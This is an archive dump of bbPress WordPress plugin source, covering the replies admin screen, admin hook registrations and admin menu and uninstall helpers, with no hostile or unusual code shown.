	public function toggle_reply_notice() {

		// Bail if missing reply toggle action
		if ( ! bbp_is_get_request() || empty( $_GET['reply_id'] ) || empty( $_GET['bbp_reply_toggle_notice'] ) ) {
			return;
		}

		// Bail if not an allowed notice
		$notice = sanitize_key( $_GET['bbp_reply_toggle_notice'] );
		if ( empty( $notice ) || ! in_array( $notice, $this->get_allowed_notice_toggles(), true ) ) {
			return;
		}

		// Bail if no reply_id or notice
		$reply_id = bbp_get_reply_id( $_GET['reply_id'] );
		if ( empty( $reply_id ) ) {
			return;
		}

		// Bail if reply is missing
		if ( ! bbp_get_reply( $reply_id ) ) {
			return;
		}

		// Use the title in the responses
		$reply_title = bbp_get_reply_title( $reply_id );
		$is_failure  = ! empty( $_GET['failed'] );
		$message     = '';

		switch ( $notice ) {
			case 'spammed' :
				$message = ( $is_failure === true )
					? sprintf( esc_html__( 'There was a problem marking the reply "%1$s" as spam.', 'bbpress' ), $reply_title )
					: sprintf( esc_html__( 'Reply "%1$s" successfully marked as spam.',             'bbpress' ), $reply_title );
				break;

			case 'unspammed' :
				$message = ( $is_failure === true )
					? sprintf( esc_html__( 'There was a problem unmarking the reply "%1$s" as spam.', 'bbpress' ), $reply_title )
					: sprintf( esc_html__( 'Reply "%1$s" successfully unmarked as spam.',             'bbpress' ), $reply_title );
				break;

			case 'approved' :
				$message = ( $is_failure === true )
					? sprintf( esc_html__( 'There was a problem approving the reply "%1$s".', 'bbpress' ), $reply_title )
					: sprintf( esc_html__( 'Reply "%1$s" successfully approved.',             'bbpress' ), $reply_title );
				break;

			case 'unapproved' :
				$message = ( $is_failure === true )
					? sprintf( esc_html__( 'There was a problem unapproving the reply "%1$s".', 'bbpress' ), $reply_title )
					: sprintf( esc_html__( 'Reply "%1$s" successfully unapproved.',             'bbpress' ), $reply_title );
				break;
		}

		// Do additional reply toggle notice filters (admin side)
		$message = apply_filters( 'bbp_toggle_reply_notice_admin', $message, $reply_id, $notice, $is_failure );
		$class   = ( $is_failure === true )
			? 'error'
			: 'updated';

		// Add the notice
		bbp_admin()->add_notice( $message, $class, true );
	}

	/**
	 * Returns an array of keys used to sort row actions
	 *
	 * @since 2.6.0 bbPress (r6771)
	 *
	 * @return array
	 */
	private function get_row_action_sort_order() {

		// Filter & return
		return (array) apply_filters( 'bbp_admin_reply_row_action_sort_order', array(
			'edit',
			'approved',
			'unapproved',
			'spam',
			'unspam',
			'trash',
			'untrash',
			'delete',
			'view'
		) );
	}

	/**
	 * Returns an array of notice toggles
	 *
	 * @since 2.6.0 bbPress (r6396)
	 *
	 * @return array
	 */
	private function get_allowed_notice_toggles() {

		// Filter & return
		return apply_filters( 'bbp_admin_replies_allowed_notice_toggles', array(
			'spammed',
			'unspammed',
			'approved',
			'unapproved'
		) );
	}

	/**
	 * Returns an array of notice toggles
	 *
	 * @since 2.6.0 bbPress (r6396)
	 *
	 * @return array
	 */
	private function get_allowed_action_toggles() {

		// Filter & return
		return apply_filters( 'bbp_admin_replies_allowed_action_toggles', array(
			'bbp_toggle_reply_spam',
			'bbp_toggle_reply_approve'
		) );
	}

	/**
	 * Manage the column headers for the replies page
	 *
	 * @since 2.0.0 bbPress (r2577)
	 *
	 * @param array $columns The columns
	 *
	 * @return array $columns bbPress reply columns
	 */
	public function column_headers( $columns ) {
		$columns = array(
			'cb'                => '<input type="checkbox" />',
			'title'             => esc_html__( 'Title',   'bbpress' ),
			'bbp_reply_forum'   => esc_html__( 'Forum',   'bbpress' ),
			'bbp_reply_topic'   => esc_html__( 'Topic',   'bbpress' ),
			'bbp_reply_author'  => esc_html__( 'Author',  'bbpress' ),
			'bbp_reply_created' => esc_html__( 'Created', 'bbpress' ),
		);

		// Filter & return
		return apply_filters( 'bbp_admin_replies_column_headers', $columns );
	}

	/**
	 * Print extra columns for the replies page
	 *
	 * @since 2.0.0 bbPress (r2577)
	 *
	 * @param string $column Column
	 * @param int $reply_id reply id
	 */
	public function column_data( $column, $reply_id ) {

		// Get topic ID
		$topic_id = bbp_get_reply_topic_id( $reply_id );

		// Populate Column Data
		switch ( $column ) {

			// Topic
			case 'bbp_reply_topic' :

				// Get title
				$topic_title = ! empty( $topic_id )
					? bbp_get_topic_title( $topic_id )
					: '';

				// Output topic name
				if ( ! empty( $topic_title ) ) {
					echo $topic_title;

				// Output dash
				} else {
					?>
					<span aria-hidden="true">&mdash;</span>
					<span class="screen-reader-text"><?php esc_html_e( 'No topic', 'bbpress' ); ?></span>
					<?php
				}

				break;

			// Forum
			case 'bbp_reply_forum' :

				// Get Forum ID's
				$reply_forum_id = bbp_get_reply_forum_id( $reply_id );
				$topic_forum_id = bbp_get_topic_forum_id( $topic_id );

				// Forum Title
				$forum_title = ! empty( $reply_forum_id )
					? bbp_get_forum_title( $reply_forum_id )
					: '';

				// Alert capable users of reply forum mismatch
				if ( $reply_forum_id !== $topic_forum_id ) {
					if ( current_user_can( 'edit_others_replies' ) || current_user_can( 'moderate', $reply_id ) ) {
						$forum_title .= '<div class="attention">' . esc_html__( '(Mismatch)', 'bbpress' ) . '</div>';
					}
				}

				// Output forum name
				if ( ! empty( $forum_title ) ) {
					echo $forum_title;

				// Reply has no forum
				} else {
					?>
					<span aria-hidden="true">&mdash;</span>
					<span class="screen-reader-text"><?php esc_html_e( 'No forum', 'bbpress' ); ?></span>
					<?php
				}

				break;

			// Author
			case 'bbp_reply_author' :
				bbp_reply_author_display_name( $reply_id );
				break;

			// Freshness
			case 'bbp_reply_created':

				// Output last activity time and date
				printf( '%1$s <br /> %2$s',
					get_the_date(),
					esc_attr( get_the_time() )
				);

				break;

			// Do action for anything else
			default :
				do_action( 'bbp_admin_replies_column_data', $column, $reply_id );
				break;
		}
	}

	/**
	 * Reply Row actions
	 *
	 * Remove the quick-edit action link under the reply title and add the
	 * content and spam link
	 *
	 * @since 2.0.0 bbPress (r2577)
	 *
	 * @param array  $actions Actions
	 * @param object $reply   Reply object
	 *
	 * @return array $actions Actions
	 */
	public function row_actions( $actions = array(), $reply = false ) {

		// Disable quick edit (too much to do here)
		unset( $actions['inline hide-if-no-js'] );

		// View link
		$view_link = bbp_get_reply_url( $reply->ID );

		// Maybe add view=all
		if ( ! in_array( $reply->post_status, array( bbp_get_closed_status_id(), bbp_get_public_status_id() ), true ) ) {
			$view_link = bbp_add_view_all( $view_link, true );
		}

		// Reply view links to topic
		$actions['view'] = '<a href="' . esc_url( $view_link ) . '" title="' . esc_attr( sprintf( __( 'View &#8220;%s&#8221;', 'bbpress' ), bbp_get_reply_title( $reply->ID ) ) ) . '" rel="permalink">' . esc_html__( 'View', 'bbpress' ) . '</a>';

		// User cannot view replies in trash
		if ( ( bbp_get_trash_status_id() === $reply->post_status ) && ! current_user_can( 'view_trash' ) ) {
			unset( $actions['view'] );
		}

		// Only show the actions if the user is capable of viewing them
		if ( current_user_can( 'moderate', $reply->ID ) ) {

			// Show the 'approve' link on non-published posts only and 'unapprove' on published posts only
			$approve_uri = wp_nonce_url( add_query_arg( array( 'reply_id' => $reply->ID, 'action' => 'bbp_toggle_reply_approve' ), remove_query_arg( array( 'bbp_reply_toggle_notice', 'reply_id', 'failed', 'super' ) ) ), 'approve-reply_' . $reply->ID );
			if ( bbp_is_reply_public( $reply->ID ) ) {
				$actions['unapproved'] = '<a href="' . esc_url( $approve_uri ) . '" title="' . esc_attr__( 'Unapprove this reply', 'bbpress' ) . '">' . _x( 'Unapprove', 'Unapprove reply', 'bbpress' ) . '</a>';
			} else {
				$actions['approved']   = '<a href="' . esc_url( $approve_uri ) . '" title="' . esc_attr__( 'Approve this reply',   'bbpress' ) . '">' . _x( 'Approve',   'Approve reply',   'bbpress' ) . '</a>';
			}

			// Show the 'spam' link on published and pending replies and 'not spam' on spammed replies
			if ( in_array( $reply->post_status, array( bbp_get_public_status_id(), bbp_get_trash_status_id(), bbp_get_pending_status_id(), bbp_get_spam_status_id() ), true ) ) {
				$spam_uri  = wp_nonce_url( add_query_arg( array( 'reply_id' => $reply->ID, 'action' => 'bbp_toggle_reply_spam' ), remove_query_arg( array( 'bbp_reply_toggle_notice', 'reply_id', 'failed', 'super' ) ) ), 'spam-reply_'  . $reply->ID );
				if ( ! bbp_is_reply_spam( $reply->ID ) ) {
					$actions['spam'] = '<a href="' . esc_url( $spam_uri ) . '" title="' . esc_attr__( 'Mark this reply as spam',    'bbpress' ) . '">' . esc_html__( 'Spam',     'bbpress' ) . '</a>';
				} else {
					$actions['unspam'] = '<a href="' . esc_url( $spam_uri ) . '" title="' . esc_attr__( 'Mark the reply as not spam', 'bbpress' ) . '">' . esc_html__( 'Not Spam', 'bbpress' ) . '</a>';
				}
			}
		}

		// Trash
		if ( current_user_can( 'delete_reply', $reply->ID ) ) {
			$trash_days = bbp_get_trash_days( bbp_get_reply_post_type() );

			if ( bbp_get_trash_status_id() === $reply->post_status ) {
				$post_type_object   = get_post_type_object( bbp_get_reply_post_type() );
				$actions['untrash'] = "<a title='" . esc_attr__( 'Restore this item from the Trash', 'bbpress' ) . "' href='" . esc_url( wp_nonce_url( admin_url( sprintf( $post_type_object->_edit_link . '&amp;action=untrash', $reply->ID ) ), 'untrash-post_' . $reply->ID ) ) . "'>" . esc_html__( 'Restore', 'bbpress' ) . "</a>";
			} elseif ( ! empty( $trash_days ) ) {
				$actions['trash'] = "<a class='submitdelete' title='" . esc_attr__( 'Move this item to the Trash', 'bbpress' ) . "' href='" . esc_url( get_delete_post_link( $reply->ID ) ) . "'>" . esc_html__( 'Trash', 'bbpress' ) . "</a>";
			}

			if ( ( bbp_get_trash_status_id() === $reply->post_status ) || empty( $trash_days ) ) {
				$actions['delete'] = "<a class='submitdelete' title='" . esc_attr__( 'Delete this item permanently', 'bbpress' ) . "' href='" . esc_url( get_delete_post_link( $reply->ID, '', true ) ) . "'>" . esc_html__( 'Delete Permanently', 'bbpress' ) . "</a>";
			}
		}

		// Sort & return
		return $this->sort_row_actions( $actions );
	}

	/**
	 * Sort row actions by key
	 *
	 * @since 2.6.0
	 *
	 * @param array $actions
	 *
	 * @return array
	 */
	private function sort_row_actions( $actions = array() ) {

		// Return value
		$retval = array();

		// Known row actions, in sort order
		$known_actions = $this->get_row_action_sort_order();

		// Sort known actions, and keep any unknown ones
		foreach ( $known_actions as $key ) {
			if ( isset( $actions[ $key ] ) ) {
				$retval[ $key ] = $actions[ $key ];
				unset( $actions[ $key ] );
			}
		}

		// Combine & return
		return $retval + $actions;
	}

	/**
	 * Add forum dropdown to topic and reply list table filters
	 *
	 * @since 2.0.0 bbPress (r2991)
	 *
	 * @return bool False. If post type is not topic or reply
	 */
	public function filter_dropdown() {

		// Get which forum is selected
		$selected = ! empty( $_GET['bbp_forum_id'] )
			? (int) $_GET['bbp_forum_id']
			: 0;

		// Show the forums dropdown
		bbp_dropdown( array(
			'selected'  => $selected,
			'show_none' => esc_html__( 'In all forums', 'bbpress' )
		) );
	}

	/**
	 * Add "Empty Spam" button for moderators
	 *
	 * @since 2.6.0 bbPress (r6791)
	 */
	public function filter_empty_spam() {

		// Bail if not viewing spam
		if ( empty( $_GET['post_status'] ) || ( bbp_get_spam_status_id() !== $_GET['post_status'] ) && current_user_can( 'moderate' ) ) {
			return;
		}

		?>

		<div class="alignleft actions"><?php

			// Output the nonce & button
			wp_nonce_field( 'bulk-destroy', '_destroy_nonce' );
			submit_button(
				esc_attr__( 'Empty Spam', 'bbpress' ),
				'button-secondary apply',
				'delete_all',
				false
			);

		?></div><?php
	}

	/**
	 * Adjust the request query and include the forum id
	 *
	 * @since 2.0.0 bbPress (r2991)
	 *
	 * @param array $query_vars Query variables from {@link WP_Query}
	 * @return array Processed Query Vars
	 */
	public function filter_post_rows( $query_vars ) {

		// Add post_parent query_var if one is present
		if ( ! empty( $_GET['bbp_forum_id'] ) ) {
			$query_vars['meta_key']   = '_bbp_forum_id';
			$query_vars['meta_type']  = 'NUMERIC';
			$query_vars['meta_value'] = $_GET['bbp_forum_id'];
		}

		// Return manipulated query_vars
		return $query_vars;
	}

	/**
	 * Custom user feedback messages for reply post type
	 *
	 * @since 2.0.0 bbPress (r3080)
	 *
	 * @global int $post_ID
	 *
	 * @param array $messages
	 *
	 * @return array
	 */
	public function updated_messages( $messages ) {
		global $post_ID;

		// URL for the current topic
		$topic_url = bbp_get_topic_permalink( bbp_get_reply_topic_id( $post_ID ) );

		// Current reply's post_date
		$post_date = bbp_get_global_post_field( 'post_date', 'raw' );

		// Messages array
		$messages[ $this->post_type ] = array(
			0 =>  '', // Left empty on purpose

			// Updated
			1 =>  sprintf(
				'%1$s <a href="%2$s">%3$s</a>',
				esc_html__( 'Reply updated.', 'bbpress' ),
				$topic_url,
				esc_html__( 'View topic', 'bbpress' )
			),

			// Custom field updated
			2 => esc_html__( 'Custom field updated.', 'bbpress' ),

			// Custom field deleted
			3 => esc_html__( 'Custom field deleted.', 'bbpress' ),

			// Reply updated
			4 => esc_html__( 'Reply updated.', 'bbpress' ),

			// Restored from revision
			// translators: %s: date and time of the revision
			5 => isset( $_GET['revision'] )
					? sprintf( esc_html__( 'Reply restored to revision from %s', 'bbpress' ), wp_post_revision_title( (int) $_GET['revision'], false ) )
					: false,

			// Reply created
			6 => sprintf(
				'%1$s <a href="%2$s">%3$s</a>',
				esc_html__( 'Reply created.', 'bbpress' ),
				$topic_url,
				esc_html__( 'View topic', 'bbpress' )
			),

			// Reply saved
			7 => esc_html__( 'Reply saved.', 'bbpress' ),

			// Reply submitted
			8 => sprintf(
				'%1$s <a href="%2$s" target="_blank">%3$s</a>',
				esc_html__( 'Reply submitted.', 'bbpress' ),
				esc_url( add_query_arg( 'preview', 'true', $topic_url ) ),
				esc_html__( 'Preview topic', 'bbpress' )
			),

			// Reply scheduled
			9 => sprintf(
				'%1$s <a target="_blank" href="%2$s">%3$s</a>',
				sprintf(
					esc_html__( 'Reply scheduled for: %s.', 'bbpress' ),
					// translators: Publish box date format, see http://php.net/date
					'<strong>' . date_i18n( __( 'M j, Y @ G:i', 'bbpress' ), strtotime( $post_date ) ) . '</strong>'
				),
				$topic_url,
				esc_html__( 'Preview topic', 'bbpress' )
			),

			// Reply draft updated
			10 => sprintf(
				'%1$s <a href="%2$s" target="_blank">%3$s</a>',
				esc_html__( 'Reply draft updated.', 'bbpress' ),
				esc_url( add_query_arg( 'preview', 'true', $topic_url ) ),
				esc_html__( 'Preview topic', 'bbpress' )
			),
		);

		return $messages;
	}
}
endif; // class_exists check

/**
 * Setup bbPress Replies Admin
 *
 * This is currently here to make hooking and unhooking of the admin UI easy.
 * It could use dependency injection in the future, but for now this is easier.
 *
 * @since 2.0.0 bbPress (r2596)
 *
 * @param WP_Screen $current_screen Current screen object
 */
function bbp_admin_replies( $current_screen ) {

	// Bail if not a forum screen
	if ( empty( $current_screen->post_type ) || ( bbp_get_reply_post_type() !== $current_screen->post_type ) ) {
		return;
	}

	// Init the replies admin
	bbp_admin()->replies = new BBP_Replies_Admin();
}
includes/admin/index.php000066600000000072151771460310011272 0ustar00<?php

/**
 * Do not modify the files in this folder.
 */
includes/admin/actions.php000066600000025713151771460310011634 0ustar00<?php

/**
 * bbPress Admin Actions
 *
 * This file contains the actions that are used through-out bbPress Admin. They
 * are consolidated here to make searching for them easier, and to help developers
 * understand at a glance the order in which things occur.
 *
 * There are a few common places that additional actions can currently be found
 *
 *  - bbPress: In {@link bbPress::setup_actions()} in bbpress.php
 *  - Admin: More in {@link BBP_Admin::setup_actions()} in class-bbp-admin.php
 *
 * @package bbPress
 * @subpackage Administration
 *
 * @see bbp-core-actions.php
 * @see bbp-core-filters.php
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Attach bbPress to WordPress
 *
 * bbPress uses its own internal actions to help aid in third-party plugin
 * development, and to limit the amount of potential future code changes when
 * updates to WordPress core occur.
 *
 * These actions exist to create the concept of 'plugin dependencies'. They
 * provide a safe way for plugins to execute code *only* when bbPress is
 * installed and activated, without needing to do complicated guesswork.
 *
 * For more information on how this works, see the 'Plugin Dependency' section
 * near the bottom of this file.
 *
 *           v--WordPress Actions       v--bbPress Sub-actions
 */
add_action( 'wpmu_new_blog',           'bbp_new_site',               10, 6 );
add_action( 'current_screen',          'bbp_current_screen'                );
add_action( 'tool_box',                'bbp_admin_tool_box'                );
add_action( 'admin_menu',              'bbp_admin_menu'                    );
add_action( 'admin_init',              'bbp_admin_init'                    );
add_action( 'admin_head',              'bbp_admin_head'                    );
add_action( 'admin_notices',           'bbp_admin_notices'                 );
add_action( 'menu_order',              'bbp_admin_menu_order'              );
add_filter( 'custom_menu_order',       'bbp_admin_custom_menu_order'       );

// Hook on to admin_init
add_action( 'bbp_admin_init', 'bbp_setup_updater',          999 );
add_action( 'bbp_admin_init', 'bbp_register_importers'          );
add_action( 'bbp_admin_init', 'bbp_register_admin_styles'       );
add_action( 'bbp_admin_init', 'bbp_register_admin_scripts'      );
add_action( 'bbp_admin_init', 'bbp_register_admin_settings'     );

// Hook on to current_screen (only in Site admin, not Network or User)
if ( is_blog_admin() ) {
	add_action( 'bbp_current_screen', 'bbp_admin_forums'  );
	add_action( 'bbp_current_screen', 'bbp_admin_topics'  );
	add_action( 'bbp_current_screen', 'bbp_admin_replies' );
}

// Initialize the admin area
add_action( 'bbp_init', 'bbp_setup_admin' );

// Reset the menu order
add_action( 'bbp_admin_menu', 'bbp_admin_separator' );

// Activation
add_action( 'bbp_activation',   'bbp_setup_new_site'              );
add_action( 'bbp_activation',   'bbp_add_activation_redirect'     );
add_action( 'bbp_activation',   'bbp_delete_rewrite_rules'        );
add_action( 'bbp_activation',   'bbp_make_current_user_keymaster' );
add_action( 'load-plugins.php', 'bbp_do_activation_redirect'      );

// Deactivation
add_action( 'bbp_deactivation', 'bbp_remove_caps'          );
add_action( 'bbp_deactivation', 'bbp_delete_rewrite_rules' );

// New Site
add_action( 'bbp_new_site', 'bbp_setup_new_site', 8 );

// Load the default repair tools
add_action( 'load-tools_page_bbp-repair',  'bbp_register_default_repair_tools' );
add_action( 'load-tools_page_bbp-upgrade', 'bbp_register_default_repair_tools' );

// Contextual Helpers
add_action( 'load-settings_page_bbpress',    'bbp_admin_settings_help'        );
add_action( 'load-tools_page_bbp-repair',    'bbp_admin_tools_repair_help'    );
add_action( 'load-tools_page_bbp-upgrade',   'bbp_admin_tools_repair_help'    );
add_action( 'load-tools_page_bbp-converter', 'bbp_admin_tools_converter_help' );
add_action( 'load-tools_page_bbp-reset',     'bbp_admin_tools_reset_help'     );

// Handle submission of Tools pages
add_action( 'load-tools_page_bbp-repair',  'bbp_admin_repair_handler' );
add_action( 'load-tools_page_bbp-upgrade', 'bbp_admin_repair_handler' );
add_action( 'load-tools_page_bbp-reset',   'bbp_admin_reset_handler'  );
add_action( 'bbp_admin_tool_box',          'bbp_admin_tools_box'      );

// Add sample permalink filter
add_filter( 'post_type_link', 'bbp_filter_sample_permalink', 10, 4 );

// Add quick stats to dashboard glance elements
add_filter( 'dashboard_glance_items', 'bbp_filter_dashboard_glance_items', -99 );

// Maybe use icons for column headers
add_filter( 'bbp_admin_forums_column_headers',  'bbp_filter_column_headers' );
add_filter( 'bbp_admin_topics_column_headers',  'bbp_filter_column_headers' );
add_filter( 'bbp_admin_replies_column_headers', 'bbp_filter_column_headers' );

// Load the converter early (page and AJAX)
add_action( 'load-tools_page_bbp-converter', 'bbp_setup_converter', 2 );
add_action( 'wp_ajax_bbp_converter_process', 'bbp_setup_converter', 2 );

// Add New User
add_action( 'user_new_form', 'bbp_add_user_form_role_field', 10, 1 );

/**
 * Setup bbPress admin
 *
 * @since 2.0.0 bbPress (r1000)
 * @since 2.6.0 bbPress (r6598) Moved to actions.php
 */
function bbp_admin() {
	return bbp_setup_admin();
}

/**
 * When a new site is created in a multisite installation, run the activation
 * routine on that site
 *
 * @since 2.0.0 bbPress (r3283)
 *
 * @param int $blog_id
 * @param int $user_id
 * @param string $domain
 * @param string $path
 * @param int $site_id
 * @param array() $meta
 */
function bbp_new_site( $blog_id, $user_id, $domain, $path, $site_id, $meta ) {

	// Bail if plugin is not network activated
	if ( ! is_plugin_active_for_network( bbpress()->basename ) ) {
		return;
	}

	// Switch to the new site
	bbp_switch_to_site( $blog_id );

	// Do the bbPress activation routine
	do_action( 'bbp_new_site', $blog_id, $user_id, $domain, $path, $site_id, $meta );

	// Restore original site
	bbp_restore_current_site();
}

/**
 * Show icons in list-table column headers instead of strings
 *
 * @since 2.6.0 bbPress (r5833)
 *
 * @param  array $columns Column headers fed into list-table objects
 *
 * @return array Possibly altered column headers
 */
function bbp_filter_column_headers( $columns = array() ) {

	// Do not filter column headers by default - maybe we'll turn it on later
	if ( ! apply_filters( 'bbp_filter_column_headers', false ) ) {
		return $columns;
	}

	/** Forums ****************************************************************/

	// Forum topic count
	if ( isset( $columns[ 'bbp_forum_topic_count' ] ) ) {
		$columns[ 'bbp_forum_topic_count' ] = '<span class="vers bbp_topics_column"  title="' . esc_attr__( 'Topics', 'bbpress' ) . '"><span class="screen-reader-text">' . esc_html__( 'Topics', 'bbpress' ) . '</span></span>';
	}

	// Forum reply count
	if ( isset( $columns[ 'bbp_forum_reply_count' ] ) ) {
		$columns[ 'bbp_forum_reply_count' ] = '<span class="vers bbp_replies_column"  title="' . esc_attr__( 'Replies', 'bbpress' ) . '"><span class="screen-reader-text">' . esc_html__( 'Replies', 'bbpress' ) . '</span></span>';
	}

	/** Topics ****************************************************************/

	// Topic forum
	if ( isset( $columns[ 'bbp_topic_forum' ] ) ) {
		$columns[ 'bbp_topic_forum' ] = '<span class="vers bbp_forums_column"  title="' . esc_attr__( 'Forum', 'bbpress' ) . '"><span class="screen-reader-text">' . esc_html__( 'Forum', 'bbpress' ) . '</span></span>';
	}

	// Topic reply count
	if ( isset( $columns[ 'bbp_topic_reply_count' ] ) ) {
		$columns[ 'bbp_topic_reply_count' ] = '<span class="vers bbp_replies_column"  title="' . esc_attr__( 'Replies', 'bbpress' ) . '"><span class="screen-reader-text">' . esc_html__( 'Replies', 'bbpress' ) . '</span></span>';
	}

	/** Replies ***************************************************************/

	// Reply forum
	if ( isset( $columns[ 'bbp_reply_forum' ] ) ) {
		$columns[ 'bbp_reply_forum' ] = '<span class="vers bbp_forums_column"  title="' . esc_attr__( 'Forum', 'bbpress' ) . '"><span class="screen-reader-text">' . esc_html__( 'Forum', 'bbpress' ) . '</span></span>';
	}

	// Reply topic
	if ( isset( $columns[ 'bbp_reply_topic' ] ) ) {
		$columns[ 'bbp_reply_topic' ] = '<span class="vers bbp_topics_column"  title="' . esc_attr__( 'Topic', 'bbpress' ) . '"><span class="screen-reader-text">' . esc_html__( 'Topic', 'bbpress' ) . '</span></span>';
	}

	return $columns;
}

/**
 * Filter sample permalinks so that certain languages display properly.
 *
 * @since 2.0.0 bbPress (r3336)
 *
 * @param string $post_link Custom post type permalink
 * @param object $_post Post data object
 * @param bool $leavename Optional, defaults to false. Whether to keep post name or page name.
 * @param bool $sample Optional, defaults to false. Is it a sample permalink.
 *
 * @return string The custom post type permalink
 */
function bbp_filter_sample_permalink( $post_link, $_post, $leavename = false, $sample = false ) {

	// Bail if not on an admin page and not getting a sample permalink
	if ( ! empty( $sample ) && is_admin() && bbp_is_custom_post_type() ) {
		return urldecode( $post_link );
	}

	// Return post link
	return $post_link;
}

/** Sub-Actions ***************************************************************/

/**
 * Piggy back admin_init action
 *
 * @since 2.1.0 bbPress (r3766)
 */
function bbp_admin_init() {
	do_action( 'bbp_admin_init' );
}

/**
 * Piggy back admin_menu action
 *
 * @since 2.1.0 bbPress (r3766)
 */
function bbp_admin_menu() {
	do_action( 'bbp_admin_menu' );
}

/**
 * Piggy back admin_head action
 *
 * @since 2.1.0 bbPress (r3766)
 */
function bbp_admin_head() {
	do_action( 'bbp_admin_head' );
}

/**
 * Piggy back admin_notices action
 *
 * @since 2.1.0 bbPress (r3766)
 */
function bbp_admin_notices() {
	do_action( 'bbp_admin_notices' );
}

/**
 * Dedicated action to register bbPress importers
 *
 * @since 2.1.0 bbPress (r3766)
 */
function bbp_register_importers() {
	do_action( 'bbp_register_importers' );
}

/**
 * Dedicated action to register admin styles
 *
 * @since 2.6.0 bbPress (r6912)
 */
function bbp_register_admin_styles() {

	/**
	 * Action used to register the admin styling
	 *
	 * @since 2.1.0
	 * @deprecated 2.6.0
	 */
	do_action( 'bbp_register_admin_style' );

	/**
	 * Action used to register all admin styling
	 *
	 * @since 2.6.0
	 */
	do_action( 'bbp_register_admin_styles' );
}

/**
 * Dedicated action to register admin scripts
 *
 * @since 2.6.0 bbPress (r6912)
 */
function bbp_register_admin_scripts() {
	do_action( 'bbp_register_admin_scripts' );
}

/**
 * Dedicated action to register admin settings
 *
 * @since 2.1.0 bbPress (r3766)
 */
function bbp_register_admin_settings() {
	do_action( 'bbp_register_admin_settings' );
}

/**
 * Dedicated action to output admin tools.php sections
 *
 * @since 2.6.0 bbPress (r6273)
 */
function bbp_admin_tool_box() {
	do_action( 'bbp_admin_tool_box' );
}

/**
 * Dedicated action to hook into the current screen
 *
 * @since 2.6.0 bbPress (r6185)
 *
 * @param WP_Screen $current_screen
 */
function bbp_current_screen( $current_screen = '' ) {
	do_action( 'bbp_current_screen', $current_screen );
}
includes/admin/common.php000066600000010466151771460310011463 0ustar00<?php

/**
 * bbPress Admin Functions
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Admin Menus ***************************************************************/

/**
 * Add a separator to the WordPress admin menus
 *
 * @since 2.0.0 bbPress (r2957)
 */
function bbp_admin_separator() {

	// Caps necessary where a separator is necessary
	$caps = array(
		'bbp_forums_admin',
		'bbp_topics_admin',
		'bbp_replies_admin',
	);

	// Loop through caps, and look for a reason to show the separator
	foreach ( $caps as $cap ) {
		if ( current_user_can( $cap ) ) {
			bbp_admin()->show_separator = true;
			break;
		}
	}

	// Bail if no separator
	if ( false === bbp_admin()->show_separator ) {
		return;
	}

	global $menu;

	$menu[] = array( '', 'read', 'separator-bbpress', '', 'wp-menu-separator bbpress' );
}

/**
 * Tell WordPress we have a custom menu order
 *
 * @since 2.0.0 bbPress (r2957)
 *
 * @param bool $menu_order Menu order
 * @return mixed True if separator, false if not
 */
function bbp_admin_custom_menu_order( $menu_order = false ) {
	if ( false === bbp_admin()->show_separator ) {
		return $menu_order;
	}

	return true;
}

/**
 * Move our custom separator above our custom post types
 *
 * @since 2.0.0 bbPress (r2957)
 *
 * @param array $menu_order Menu Order
 * @return array Modified menu order
 */
function bbp_admin_menu_order( $menu_order ) {

	// Bail if user cannot see any top level bbPress menus
	if ( empty( $menu_order ) || ( false === bbp_admin()->show_separator ) ) {
		return $menu_order;
	}

	// Initialize our custom order array
	$bbp_menu_order = array();

	// Menu values
	$second_sep   = 'separator2';
	$custom_menus = array(
		'separator-bbpress',                               // Separator
		'edit.php?post_type=' . bbp_get_forum_post_type(), // Forums
		'edit.php?post_type=' . bbp_get_topic_post_type(), // Topics
		'edit.php?post_type=' . bbp_get_reply_post_type()  // Replies
	);

	// Loop through menu order and do some rearranging
	foreach ( $menu_order as $item ) {

		// Position bbPress menus above appearance
		if ( $second_sep == $item ) {

			// Add our custom menus
			foreach ( $custom_menus as $custom_menu ) {
				if ( array_search( $custom_menu, $menu_order ) ) {
					$bbp_menu_order[] = $custom_menu;
				}
			}

			// Add the appearance separator
			$bbp_menu_order[] = $second_sep;

		// Skip our menu items
		} elseif ( ! in_array( $item, $custom_menus, true ) ) {
			$bbp_menu_order[] = $item;
		}
	}

	// Return our custom order
	return $bbp_menu_order;
}

/**
 * Sanitize permalink slugs when saving the settings page.
 *
 * @since 2.6.0 bbPress (r5364)
 *
 * @param string $slug
 * @return string
 */
function bbp_sanitize_slug( $slug = '' ) {

	// Don't allow multiple slashes in a row
	$value = preg_replace( '#/+#', '/', str_replace( '#', '', $slug ) );

	// Strip out unsafe or unusable chars
	$value = esc_url_raw( $value );

	// esc_url_raw() adds a scheme via esc_url(), so let's remove it
	$value = str_replace( 'http://', '', $value );

	// Trim off first and last slashes.
	//
	// We already prevent double slashing elsewhere, but let's prevent
	// accidental poisoning of options values where we can.
	$value = ltrim( $value, '/' );
	$value = rtrim( $value, '/' );

	// Filter & return
	return apply_filters( 'bbp_sanitize_slug', $value, $slug );
}

/**
 * Uninstall all bbPress options and capabilities from a specific site.
 *
 * @since 2.1.0 bbPress (r3765)
 *
 * @param int $site_id
 */
function bbp_do_uninstall( $site_id = 0 ) {
	if ( empty( $site_id ) ) {
		$site_id = get_current_blog_id();
	}

	bbp_switch_to_site( $site_id );
	bbp_delete_options();
	bbp_remove_roles();
	bbp_remove_caps();
	flush_rewrite_rules();
	bbp_restore_current_site();
}

/**
 * This tells WP to highlight the Tools > Forums menu item,
 * regardless of which actual bbPress Tools screen we are on.
 *
 * The conditional prevents the override when the user is viewing settings or
 * any third-party plugins.
 *
 * @since 2.1.0 bbPress (r3888)
 *
 * @global string $plugin_page
 * @global array $submenu_file
 */
function bbp_tools_modify_menu_highlight() {
	global $plugin_page, $submenu_file;

	// This tweaks the Tools subnav menu to only show one bbPress menu item
	if ( ! in_array( $plugin_page, array( 'bbp-settings' ), true ) ) {
		$submenu_file = 'bbp-repair';
	}
}
includes/admin/styles/index.php000066600000000072151771460310012615 0ustar00<?php

/**
 * Do not modify the files in this folder.
 */
